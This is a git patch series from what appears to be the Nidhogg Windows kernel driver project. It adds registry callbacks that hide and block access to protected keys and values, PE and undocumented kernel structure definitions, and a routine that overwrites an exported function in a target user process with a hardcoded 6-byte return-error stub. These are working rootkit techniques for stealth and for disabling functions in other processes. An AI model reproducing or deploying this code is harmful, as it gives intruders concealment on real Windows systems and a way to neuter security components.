RegNtPreQueryValueKeyHandler(REG_QUERY_VALUE_KEY_INFORMATION* info) { return status; } +/* +* Description: +* RegNtPreQueryMultipleValueKeyHandler is responsible for handling registry multiple value query and block it for hidden registry values. +* +* Parameters: +* @info [REG_QUERY_MULTIPLE_VALUE_KEY_INFORMATION*] -- Contains important information such as key path, values list, key object, etc. +* +* Returns: +* @status [NTSTATUS] -- Whether the operation was successful or not. +*/ NTSTATUS RegNtPreQueryMultipleValueKeyHandler(REG_QUERY_MULTIPLE_VALUE_KEY_INFORMATION* info) { ULONG index; RegItem regItem; @@ -237,6 +299,16 @@ NTSTATUS RegNtPreQueryMultipleValueKeyHandler(REG_QUERY_MULTIPLE_VALUE_KEY_INFOR return status; } +/* +* Description: +* RegNtPreSetValueKeyHandler is responsible for handling registry value modify operation and block it for protected registry values. +* +* Parameters: +* @info [REG_SET_VALUE_KEY_INFORMATION*] -- Contains important information such as key path, value name, key object, etc. +* +* Returns: +* @status [NTSTATUS] -- Whether the operation was successful or not. +*/ NTSTATUS RegNtPreSetValueKeyHandler(REG_SET_VALUE_KEY_INFORMATION* info) { RegItem regItem; PCUNICODE_STRING regPath; @@ -272,6 +344,16 @@ NTSTATUS RegNtPreSetValueKeyHandler(REG_SET_VALUE_KEY_INFORMATION* info) { return status; } +/* +* Description: +* RegNtPostEnumerateKeyHandler is responsible for handling registry key enumeration and hide the protected registry keys. +* +* Parameters: +* @info [REG_POST_OPERATION_INFORMATION*] -- Contains important information such as keys list, keys objects, etc. +* +* Returns: +* @status [NTSTATUS] -- Whether the operation was successful or not. +*/ NTSTATUS RegNtPostEnumerateKeyHandler(REG_POST_OPERATION_INFORMATION* info) { HANDLE key; PVOID tempKeyInformation; @@ -377,6 +459,16 @@ NTSTATUS RegNtPostEnumerateKeyHandler(REG_POST_OPERATION_INFORMATION* info) { return STATUS_SUCCESS; } +/* +* Description: +* RegNtPostEnumerateValueKeyHandler is responsible for handling registry value enumeration and hide the protected registry values. +* +* Parameters: +* @info [REG_POST_OPERATION_INFORMATION*] -- Contains important information such as keys list, keys objects, etc. +* +* Returns: +* @status [NTSTATUS] -- Whether the operation was successful or not. +*/ NTSTATUS RegNtPostEnumerateValueKeyHandler(REG_POST_OPERATION_INFORMATION* info) { HANDLE key; PVOID tempValueInformation; @@ -476,6 +568,18 @@ NTSTATUS RegNtPostEnumerateValueKeyHandler(REG_POST_OPERATION_INFORMATION* info) return STATUS_SUCCESS; } +/* +* Description: +* GetNameFromValueEnumPreInfo is responsible for getting the value name from the key value information. +* +* Parameters: +* @infoClass [KEY_VALUE_INFORMATION_CLASS] -- Contains the type of key value infromation. +* @information [PVOID] -- Contains the information itself. +* @valueName [PUNICODE_STRING] -- The value name will be written there. +* +* Returns: +* @status [bool] -- Whether the operation was successful or not. +*/ bool GetNameFromValueEnumPreInfo(KEY_VALUE_INFORMATION_CLASS infoClass, PVOID information, PUNICODE_STRING valueName) { switch (infoClass) { case KeyValueBasicInformation: @@ -501,6 +605,18 @@ bool GetNameFromValueEnumPreInfo(KEY_VALUE_INFORMATION_CLASS infoClass, PVOID in return true; } +/* +* Description: +* GetNameFromKeyEnumPreInfo is responsible for getting the key name from the key information. +* +* Parameters: +* @infoClass [KEY_VALUE_INFORMATION_CLASS] -- Contains the type of the key infromation. +* @information [PVOID] -- Contains the information itself. +* @keyName [PUNICODE_STRING] -- The key name will be written there. +* +* Returns: +* @status [bool] -- Whether the operation was successful or not. +*/ bool GetNameFromKeyEnumPreInfo(KEY_INFORMATION_CLASS infoClass, PVOID information, PUNICODE_STRING keyName) { switch (infoClass) { case KeyBasicInformation: @@ -534,6 +650,16 @@ bool GetNameFromKeyEnumPreInfo(KEY_INFORMATION_CLASS infoClass, PVOID informatio return true; } +/* +* Description: +* FindRegItem is responsible for searching if a registry item exists in any of the registry items lists. +* +* Parameters: +* @item [RegItem&] -- Registry item to search. +* +* Returns: +* @status [bool] -- Whether found or not. +*/ bool FindRegItem(RegItem& item) { if (item.Type == REG_TYPE_PROTECTED_KEY) { for (int i = 0; i < rGlobals.ProtectedItems.Keys.KeysCount; i++) @@ -561,6 +687,17 @@ bool FindRegItem(RegItem& item) { return false; } +/* +* Description: +* ContainsProtectedRegKey is responsible for searching if a registry item is contained inside any registry items lists. +* +* Parameters: +* @regKey [UNICODE_STRING] -- Registry item to search. +* @type [int] -- Type of the registry item. +* +* Returns: +* @status [bool] -- Whether found or not. +*/ bool ContainsProtectedRegKey(UNICODE_STRING regKey, int type) { if (type == REG_TYPE_PROTECTED_KEY) { for (int i = 0; i < rGlobals.ProtectedItems.Keys.KeysCount; i++) { @@ -590,6 +727,16 @@ bool ContainsProtectedRegKey(UNICODE_STRING regKey, int type) { return false; } +/* +* Description: +* AddRegItem is responsible for adding a registry item to the list of protected registry items. +* +* Parameters: +* @item [RegItem&] -- Registry item to add. +* +* Returns: +* @status [bool] -- Whether successfully added or not. +*/ bool AddRegItem(RegItem& item) { if (item.Type == REG_TYPE_PROTECTED_KEY) { for (int i = 0; i < MAX_REG_ITEMS; i++) @@ -688,6 +835,16 @@ bool AddRegItem(RegItem& item) { return false; } +/* +* Description: +* RemoveRegItem is responsible for remove a registry item from the list of protected registry items. +* +* Parameters: +* @item [RegItem&] -- Registry item to remove. +* +* Returns: +* @status [bool] -- Whether successfully removed or not. +*/ bool RemoveRegItem(RegItem& item) { if (item.Type == REG_TYPE_PROTECTED_KEY) { for (int i = 0; i < rGlobals.ProtectedItems.Keys.KeysCount; i++) { diff --git a/Nidhogg/WindowsTypes.h b/Nidhogg/WindowsTypes.h new file mode 100644 index 0000000..a33cc79 --- /dev/null +++ b/Nidhogg/WindowsTypes.h @@ -0,0 +1,197 @@ +#pragma once + +// Documented. +#define IMAGE_DOS_SIGNATURE 0x5A4D +#define IMAGE_NT_SIGNATURE 0x00004550 + +#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 + +#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory +#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory +#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory +#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory +#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory +#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table +#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory +#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // Architecture Specific Data + +#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA of GP +#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory +#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory +#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Bound Import Directory in headers +#define IMAGE_DIRECTORY_ENTRY_IAT 12 // Import Address Table +#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 // Delay Load Import Descriptors +#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime descriptor + +typedef unsigned long DWORD; +typedef unsigned short WORD; +typedef unsigned char BYTE; + +typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header + WORD e_magic; // Magic number + WORD e_cblp; // Bytes on last page of file + WORD e_cp; // Pages in file + WORD e_crlc; // Relocations + WORD e_cparhdr; // Size of header in paragraphs + WORD e_minalloc; // Minimum extra paragraphs needed + WORD e_maxalloc; // Maximum extra paragraphs needed + WORD e_ss; // Initial (relative) SS value + WORD e_sp; // Initial SP value + WORD e_csum; // Checksum + WORD e_ip; // Initial IP value + WORD e_cs; // Initial (relative) CS value + WORD e_lfarlc; // File address of relocation table + WORD e_ovno; // Overlay number + WORD e_res[4]; // Reserved words + WORD e_oemid; // OEM identifier (for e_oeminfo) + WORD e_oeminfo; // OEM information; e_oemid specific + WORD e_res2[10]; // Reserved words + LONG e_lfanew; // File address of new exe header +} IMAGE_DOS_HEADER, * PIMAGE_DOS_HEADER; + +typedef struct _IMAGE_FILE_HEADER { + WORD Machine; + WORD NumberOfSections; + DWORD TimeDateStamp; + DWORD PointerToSymbolTable; + DWORD NumberOfSymbols; + WORD SizeOfOptionalHeader; + WORD Characteristics; +} IMAGE_FILE_HEADER, * PIMAGE_FILE_HEADER; + +typedef struct _IMAGE_DATA_DIRECTORY { + ULONG VirtualAddress; + ULONG Size; +} IMAGE_DATA_DIRECTORY, * PIMAGE_DATA_DIRECTORY; + +typedef struct _IMAGE_EXPORT_DIRECTORY { + DWORD Characteristics; + DWORD TimeDateStamp; + WORD MajorVersion; + WORD MinorVersion; + DWORD Name; + DWORD Base; + DWORD NumberOfFunctions; + DWORD NumberOfNames; + DWORD AddressOfFunctions; // RVA from base of image + DWORD AddressOfNames; // RVA from base of image + DWORD AddressOfNameOrdinals; // RVA from base of image +} IMAGE_EXPORT_DIRECTORY, * PIMAGE_EXPORT_DIRECTORY; + +typedef struct _IMAGE_OPTIONAL_HEADER { + WORD Magic; + BYTE MajorLinkerVersion; + BYTE MinorLinkerVersion; + DWORD SizeOfCode; + DWORD SizeOfInitializedData; + DWORD SizeOfUninitializedData; + DWORD AddressOfEntryPoint; + DWORD BaseOfCode; + ULONGLONG ImageBase; + DWORD SectionAlignment; + DWORD FileAlignment; + WORD MajorOperatingSystemVersion; + WORD MinorOperatingSystemVersion; + WORD MajorImageVersion; + WORD MinorImageVersion; + WORD MajorSubsystemVersion; + WORD MinorSubsystemVersion; + DWORD Win32VersionValue; + DWORD SizeOfImage; + DWORD SizeOfHeaders; + DWORD CheckSum; + WORD Subsystem; + WORD DllCharacteristics; + ULONGLONG SizeOfStackReserve; + ULONGLONG SizeOfStackCommit; + ULONGLONG SizeOfHeapReserve; + ULONGLONG SizeOfHeapCommit; + DWORD LoaderFlags; + DWORD NumberOfRvaAndSizes; + IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; +} IMAGE_OPTIONAL_HEADER, * PIMAGE_OPTIONAL_HEADER; + +typedef struct _FULL_IMAGE_NT_HEADERS { + DWORD Signature; + IMAGE_FILE_HEADER FileHeader; + IMAGE_OPTIONAL_HEADER OptionalHeader; +} FULL_IMAGE_NT_HEADERS, * PFULL_IMAGE_NT_HEADERS; + +// Undocumented. +struct _OBJECT_TYPE_INITIALIZER_TEMP +{ + USHORT Length; //0x0 + union + { + USHORT ObjectTypeFlags; //0x2 + struct + { + UCHAR CaseInsensitive : 1; //0x2 + UCHAR UnnamedObjectsOnly : 1; //0x2 + UCHAR UseDefaultObject : 1; //0x2 + UCHAR SecurityRequired : 1; //0x2 + UCHAR MaintainHandleCount : 1; //0x2 + UCHAR MaintainTypeList : 1; //0x2 + UCHAR SupportsObjectCallbacks : 1; //0x2 + UCHAR CacheAligned : 1; //0x2 + UCHAR UseExtendedParameters : 1; //0x3 + UCHAR Reserved : 7; //0x3 + }; + }; + ULONG ObjectTypeCode; //0x4 + ULONG InvalidAttributes; //0x8 + struct _GENERIC_MAPPING GenericMapping; //0xc + ULONG ValidAccessMask; //0x1c + ULONG RetainAccess; //0x20 + enum _POOL_TYPE PoolType; //0x24 + ULONG DefaultPagedPoolCharge; //0x28 + ULONG DefaultNonPagedPoolCharge; //0x2c + VOID(*DumpProcedure)(VOID* arg1, struct _OBJECT_DUMP_CONTROL* arg2); //0x30 + LONG(*OpenProcedure)(enum _OB_OPEN_REASON arg1, CHAR arg2, struct _EPROCESS* arg3, VOID* arg4, ULONG* arg5, ULONG arg6); //0x38 + VOID(*CloseProcedure)(struct _EPROCESS* arg1, VOID* arg2, ULONGLONG arg3, ULONGLONG arg4); //0x40 + VOID(*DeleteProcedure)(VOID* arg1); //0x48 + union + { + LONG(*ParseProcedure)(VOID* arg1, VOID* arg2, struct _ACCESS_STATE* arg3, CHAR arg4, ULONG arg5, struct _UNICODE_STRING* arg6, struct _UNICODE_STRING* arg7, VOID* arg8, struct _SECURITY_QUALITY_OF_SERVICE* arg9, VOID** arg10); //0x50 + LONG(*ParseProcedureEx)(VOID* arg1, VOID* arg2, struct _ACCESS_STATE* arg3, CHAR arg4, ULONG arg5, struct _UNICODE_STRING* arg6, struct _UNICODE_STRING* arg7, VOID* arg8, struct _SECURITY_QUALITY_OF_SERVICE* arg9, struct _OB_EXTENDED_PARSE_PARAMETERS* arg10, VOID** arg11); //0x50 + }; + LONG(*SecurityProcedure)(VOID* arg1, enum _SECURITY_OPERATION_CODE arg2, ULONG* arg3, VOID* arg4, ULONG* arg5, VOID** arg6, enum _POOL_TYPE arg7, struct _GENERIC_MAPPING* arg8, CHAR arg9); //0x58 + LONG(*QueryNameProcedure)(VOID* arg1, UCHAR arg2, struct _OBJECT_NAME_INFORMATION* arg3, ULONG arg4, ULONG* arg5, CHAR arg6); //0x60 + UCHAR(*OkayToCloseProcedure)(struct _EPROCESS* arg1, VOID* arg2, VOID* arg3, CHAR arg4); //0x68 + ULONG WaitObjectFlagMask; //0x70 + USHORT WaitObjectFlagOffset; //0x74 + USHORT WaitObjectPointerOffset; //0x76 +}; + +struct _EX_PUSH_LOCK_TEMP +{ + union + { + struct + { + ULONGLONG Locked : 1; //0x0 + ULONGLONG Waiting : 1; //0x0 + ULONGLONG Waking : 1; //0x0 + ULONGLONG MultipleShared : 1; //0x0 + ULONGLONG Shared : 60; //0x0 + }; + ULONGLONG Value; //0x0 + VOID* Ptr; //0x0 + }; +}; + +typedef struct _OBJECT_TYPE_TEMP +{ + struct _LIST_ENTRY TypeList; //0x0 + struct _UNICODE_STRING Name; //0x10 + VOID* DefaultObject; //0x20 + UCHAR Index; //0x28 + ULONG TotalNumberOfObjects; //0x2c + ULONG TotalNumberOfHandles; //0x30 + ULONG HighWaterNumberOfObjects; //0x34 + ULONG HighWaterNumberOfHandles; //0x38 + struct _OBJECT_TYPE_INITIALIZER_TEMP TypeInfo; //0x40 + struct _EX_PUSH_LOCK_TEMP TypeLock; //0xb8 + ULONG Key; //0xc0 + struct _LIST_ENTRY CallbackList; //0xc8 +} OBJECT_TYPE_TEMP, * POBJECT_TYPE_TEMP; From f888bf061ae2544e78e5d7a58d101944f2fcde42 Mon Sep 17 00:00:00 2001 From: Ido Veltzman <62358580+Idov31@users.noreply.github.com> Date: Tue, 11 Oct 2022 11:01:37 +0300 Subject: [PATCH 02/10] Added module patching --- Nidhogg/ModuleUtils.hpp | 225 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 225 insertions(+) create mode 100644 Nidhogg/ModuleUtils.hpp diff --git a/Nidhogg/ModuleUtils.hpp b/Nidhogg/ModuleUtils.hpp new file mode 100644 index 0000000..d800488 --- /dev/null +++ b/Nidhogg/ModuleUtils.hpp @@ -0,0 +1,225 @@ +#pragma once +#include "pch.h" + +/* +* Description: +* OnImageLoad is responsible for handling any kind of loading operations and patching specific functionality if defined. +* +* Parameters: +* @FullImageName [PUNICODE_STRING] -- Image's name. +* @ProcessId [HANDLE] -- The process id of the process that performs the loading. +* @ImageInfo [PIMAGE_INFO] -- Various information of the loaded image including if it is user mode or kernel mode, image base, etc. +* +* Returns: +* There is no return value. +*/ +void OnImageLoad(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo) { + HANDLE hTargetProcess; + PEPROCESS TargetProcess; + ULONG oldProtection; + NTSTATUS status; + SIZE_T outBytes; + MEMORY_BASIC_INFORMATION memInfo = { 0 }; + bool changeProtection = false; + + // Filter only valid user space processes. + if (ProcessId == 0 || ImageInfo->SystemModeImage == 1 || FullImageName->Length == 0) + return; + + if (pmGlobals.ModulesList.PatchedModulesCount == 0) + return; + + if (dimGlobals.ZwProtectVirtualMemory == NULL) + return; + + // Attaching to the remote process address space. + if (PsLookupProcessByProcessId(ProcessId, &TargetProcess) != STATUS_SUCCESS) + return; + + AutoLock lock(pmGlobals.Lock); + + for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++) { + if (wcisstr(FullImageName->Buffer, pmGlobals.ModulesList.Modules[i].ModuleName)) { + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ImageInfo->ImageBase; + + // Checking that the image is valid PE file. + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) + return; + + PFULL_IMAGE_NT_HEADERS ntHeaders = (PFULL_IMAGE_NT_HEADERS)((PUCHAR)ImageInfo->ImageBase + dosHeader->e_lfanew); + + if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) + return; + + IMAGE_OPTIONAL_HEADER optionalHeader = ntHeaders->OptionalHeader; + + if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) + return; + + // Iterating the export directory. + PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)ImageInfo->ImageBase + optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + DWORD* addresses = (DWORD*)((PUCHAR)ImageInfo->ImageBase + exportDirectory->AddressOfFunctions); + WORD* ordinals = (WORD*)((PUCHAR)ImageInfo->ImageBase + exportDirectory->AddressOfNameOrdinals); + DWORD* names = (DWORD*)((PUCHAR)ImageInfo->ImageBase + exportDirectory->AddressOfNames); + + for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) { + if (_stricmp((char*)((PUCHAR)ImageInfo->ImageBase + names[j]), pmGlobals.ModulesList.Modules[i].FunctionName) == 0) { + if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, &hTargetProcess) != STATUS_SUCCESS) { + KdPrint((DRIVER_PREFIX "Failed to get process to handle.\n")); + break; + } + + auto patchLen = strlen((char*)pmGlobals.ModulesList.Modules[i].Patch); + auto functionAddress = (PVOID)((PUCHAR)ImageInfo->ImageBase + addresses[ordinals[j]]); + + // Adding write permissions. + status = ZwQueryVirtualMemory(hTargetProcess, functionAddress, MemoryBasicInformation, &memInfo, sizeof(MEMORY_BASIC_INFORMATION), &outBytes); + + if (status != STATUS_SUCCESS) { + KdPrint((DRIVER_PREFIX "Failed to query protection, (0x%08X).\n", status)); + ZwClose(hTargetProcess); + break; + } + + /*KdPrint((DRIVER_PREFIX "Protection of the page is - %d.\n", memInfo.AllocationProtect)); + KdPrint((DRIVER_PREFIX "State of the page is - %d.\n", memInfo.State)); + KdPrint((DRIVER_PREFIX "Type of the page is - %d.\n", memInfo.Type));*/ + + changeProtection = memInfo.AllocationProtect != PAGE_EXECUTE_WRITECOPY && memInfo.AllocationProtect != PAGE_EXECUTE_READWRITE; + + if (changeProtection) { + status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection); + + if (status != STATUS_SUCCESS) { + KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status)); + ZwClose(hTargetProcess); + break; + } + } + + + // Patching the function. + SIZE_T written; + char patch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; + + // status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), pmGlobals.ModulesList.Modules[i].Patch, Process, functionAddress, patchLen, KernelMode, &written); + status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), &patch[0], TargetProcess, functionAddress, 6, KernelMode, &written); + + if (status != STATUS_SUCCESS) + KdPrint((DRIVER_PREFIX "MmCopyVirtualMemory failed status, (0x%08X).\n", status)); + else + KdPrint((DRIVER_PREFIX "Patched function #5.\n")); + + // Restoring permissions and cleaning up. + if (changeProtection) + dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, oldProtection, &oldProtection); + + ZwClose(hTargetProcess); + KdPrint((DRIVER_PREFIX "Cleaned up #6.\n")); + break; + } + } + } + } + ObDereferenceObject(TargetProcess); +} + +/* +* Description: +* FindModule is responsible for searching if a module exists in the list of modules that need to be patched. +* +* Parameters: +* @patchedModule [PatchedModule&] -- Module's information. +* +* Returns: +* @status [bool] -- Whether found or not. +*/ +bool FindModule(PatchedModule& patchedModule) { + for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++) + if (_wcsicmp(pmGlobals.ModulesList.Modules[i].ModuleName, patchedModule.ModuleName) == 0 && + _stricmp(pmGlobals.ModulesList.Modules[i].FunctionName, patchedModule.FunctionName) == 0) + return true; + return false; +} + +/* +* Description: +* AddModule is responsible for adding a module to the list of modules that need to be patched. +* +* Parameters: +* @patchedModule [PatchedModule&] -- Module to add. +* +* Returns: +* @status [bool] -- Whether successfully added or not. +*/ +bool AddModule(PatchedModule& patchedModule) { + + for (int i = 0; i < MAX_PATCHED_MODULES; i++) + if (pmGlobals.ModulesList.Modules[i].FunctionName == nullptr) { + auto functionNameLen = (strlen(patchedModule.FunctionName) + 1) * sizeof(CHAR); + auto functionNameBuffer = (CHAR*)ExAllocatePoolWithTag(PagedPool, functionNameLen, DRIVER_TAG); + + // Not enough resources. + if (!functionNameBuffer) { + break; + } + + auto moduleNameLen = (wcslen(patchedModule.ModuleName) + 1) * sizeof(WCHAR); + auto moduleNameBuffer = (WCHAR*)ExAllocatePoolWithTag(PagedPool, moduleNameLen, DRIVER_TAG); + + // Not enough resources. + if (!moduleNameBuffer) { + ExFreePoolWithTag(functionNameBuffer, DRIVER_TAG); + break; + } + + auto patchLen = strlen((char*)patchedModule.Patch) * sizeof(UCHAR); + auto patchBuffer = (PUCHAR)ExAllocatePoolWithTag(PagedPool, patchLen, DRIVER_TAG); + + // Not enough resources. + if (!patchBuffer) { + ExFreePoolWithTag(moduleNameBuffer, DRIVER_TAG); + ExFreePoolWithTag(functionNameBuffer, DRIVER_TAG); + break; + } + + strcpy_s(functionNameBuffer, functionNameLen / sizeof(CHAR), patchedModule.FunctionName); + wcscpy_s(moduleNameBuffer, moduleNameLen / sizeof(WCHAR), patchedModule.ModuleName); + memcpy_s(patchBuffer, patchLen, patchedModule.Patch, patchLen); + pmGlobals.ModulesList.Modules[i].FunctionName = functionNameBuffer; + pmGlobals.ModulesList.Modules[i].ModuleName = moduleNameBuffer; + pmGlobals.ModulesList.Modules[i].Patch = patchBuffer; + pmGlobals.ModulesList.PatchedModulesCount++; + + return true; + } + return false; +} + +/* +* Description: +* RemoveModule is responsible for removing a module from the list of modules that need to be patched. +* +* Parameters: +* @patchedModule [PatchedModule&] -- Module to add. +* +* Returns: +* @status [bool] -- Whether successfully removed or not. +*/ +bool RemoveModule(PatchedModule& patchedModule) { + for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++) + if (_wcsicmp(pmGlobals.ModulesList.Modules[i].ModuleName, patchedModule.ModuleName) == 0 && + _stricmp(pmGlobals.ModulesList.Modules[i].FunctionName, patchedModule.FunctionName) == 0) { + + ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].FunctionName, DRIVER_TAG); + ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].ModuleName, DRIVER_TAG); + ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].Patch, DRIVER_TAG); + pmGlobals.ModulesList.Modules[i].FunctionName = nullptr; + pmGlobals.ModulesList.Modules[i].ModuleName = nullptr; + pmGlobals.ModulesList.Modules[i].Patch = nullptr; + pmGlobals.ModulesList.PatchedModulesCount--; + return true; + } + return false; +} From b431e451214e2915edda666fce25f8610b5162b1 Mon Sep 17 00:00:00 2001 From: Ido Veltzman <62358580+Idov31@users.noreply.github.com> Date: Wed, 12 Oct 2022 17:38:45 +0300 Subject: [PATCH 03/10] First failed attempt --- Nidhogg/ModuleUtils.hpp | 437 +++++++----- Nidhogg/Nidhogg.cpp | 77 +- Nidhogg/Nidhogg.h | 27 +- Nidhogg/NidhoggUtils.h | 1 + Nidhogg/ProcessUtils.hpp | 36 +- Nidhogg/WindowsTypes.h | 1448 ++++++++++++++++++++++++++++++++++++++ 6 files changed, 1729 insertions(+), 297 deletions(-) diff --git a/Nidhogg/ModuleUtils.hpp b/Nidhogg/ModuleUtils.hpp index d800488..2a23328 100644 --- a/Nidhogg/ModuleUtils.hpp +++ b/Nidhogg/ModuleUtils.hpp @@ -1,225 +1,286 @@ #pragma once #include "pch.h" +// Function declaration. +PPEB_LDR_DATA GetLDRFromPEB(PPEB peb); +PVOID GetModuleImageBase(PPEB_LDR_DATA ldr, WCHAR* moduleName); + /* * Description: -* OnImageLoad is responsible for handling any kind of loading operations and patching specific functionality if defined. +* PatchModule is responsible for patching a certain moudle in a certain process. * * Parameters: -* @FullImageName [PUNICODE_STRING] -- Image's name. -* @ProcessId [HANDLE] -- The process id of the process that performs the loading. -* @ImageInfo [PIMAGE_INFO] -- Various information of the loaded image including if it is user mode or kernel mode, image base, etc. +* @ModuleToPatch [PatchedModule&] -- All the information regarding the Module that needs to be patched. * * Returns: -* There is no return value. +* @status [NTSTATUS] -- Whether successfuly patched or not. */ -void OnImageLoad(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo) { +NTSTATUS PatchModule(PatchedModule& ModuleToPatch) { HANDLE hTargetProcess; PEPROCESS TargetProcess; ULONG oldProtection; - NTSTATUS status; SIZE_T outBytes; + PVOID moduleImageBase = NULL; + NTSTATUS status = STATUS_UNSUCCESSFUL; MEMORY_BASIC_INFORMATION memInfo = { 0 }; bool changeProtection = false; + bool success = true; + LARGE_INTEGER time = { 0 }; + time.QuadPart = -250ll * 10 * 1000; // 250 msec. - // Filter only valid user space processes. - if (ProcessId == 0 || ImageInfo->SystemModeImage == 1 || FullImageName->Length == 0) - return; - - if (pmGlobals.ModulesList.PatchedModulesCount == 0) - return; - - if (dimGlobals.ZwProtectVirtualMemory == NULL) - return; - - // Attaching to the remote process address space. - if (PsLookupProcessByProcessId(ProcessId, &TargetProcess) != STATUS_SUCCESS) - return; - - AutoLock lock(pmGlobals.Lock); - - for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++) { - if (wcisstr(FullImageName->Buffer, pmGlobals.ModulesList.Modules[i].ModuleName)) { - PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ImageInfo->ImageBase; - - // Checking that the image is valid PE file. - if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) - return; - - PFULL_IMAGE_NT_HEADERS ntHeaders = (PFULL_IMAGE_NT_HEADERS)((PUCHAR)ImageInfo->ImageBase + dosHeader->e_lfanew); - - if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) - return; - - IMAGE_OPTIONAL_HEADER optionalHeader = ntHeaders->OptionalHeader; - - if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) - return; - - // Iterating the export directory. - PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)ImageInfo->ImageBase + optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); - - DWORD* addresses = (DWORD*)((PUCHAR)ImageInfo->ImageBase + exportDirectory->AddressOfFunctions); - WORD* ordinals = (WORD*)((PUCHAR)ImageInfo->ImageBase + exportDirectory->AddressOfNameOrdinals); - DWORD* names = (DWORD*)((PUCHAR)ImageInfo->ImageBase + exportDirectory->AddressOfNames); - - for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) { - if (_stricmp((char*)((PUCHAR)ImageInfo->ImageBase + names[j]), pmGlobals.ModulesList.Modules[i].FunctionName) == 0) { - if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, &hTargetProcess) != STATUS_SUCCESS) { - KdPrint((DRIVER_PREFIX "Failed to get process to handle.\n")); - break; - } - - auto patchLen = strlen((char*)pmGlobals.ModulesList.Modules[i].Patch); - auto functionAddress = (PVOID)((PUCHAR)ImageInfo->ImageBase + addresses[ordinals[j]]); - - // Adding write permissions. - status = ZwQueryVirtualMemory(hTargetProcess, functionAddress, MemoryBasicInformation, &memInfo, sizeof(MEMORY_BASIC_INFORMATION), &outBytes); - - if (status != STATUS_SUCCESS) { - KdPrint((DRIVER_PREFIX "Failed to query protection, (0x%08X).\n", status)); - ZwClose(hTargetProcess); - break; - } - - /*KdPrint((DRIVER_PREFIX "Protection of the page is - %d.\n", memInfo.AllocationProtect)); - KdPrint((DRIVER_PREFIX "State of the page is - %d.\n", memInfo.State)); - KdPrint((DRIVER_PREFIX "Type of the page is - %d.\n", memInfo.Type));*/ - - changeProtection = memInfo.AllocationProtect != PAGE_EXECUTE_WRITECOPY && memInfo.AllocationProtect != PAGE_EXECUTE_READWRITE; - - if (changeProtection) { - status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection); - - if (status != STATUS_SUCCESS) { - KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status)); - ZwClose(hTargetProcess); - break; - } - } - - - // Patching the function. - SIZE_T written; - char patch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; - - // status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), pmGlobals.ModulesList.Modules[i].Patch, Process, functionAddress, patchLen, KernelMode, &written); - status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), &patch[0], TargetProcess, functionAddress, 6, KernelMode, &written); - - if (status != STATUS_SUCCESS) - KdPrint((DRIVER_PREFIX "MmCopyVirtualMemory failed status, (0x%08X).\n", status)); - else - KdPrint((DRIVER_PREFIX "Patched function #5.\n")); - - // Restoring permissions and cleaning up. - if (changeProtection) - 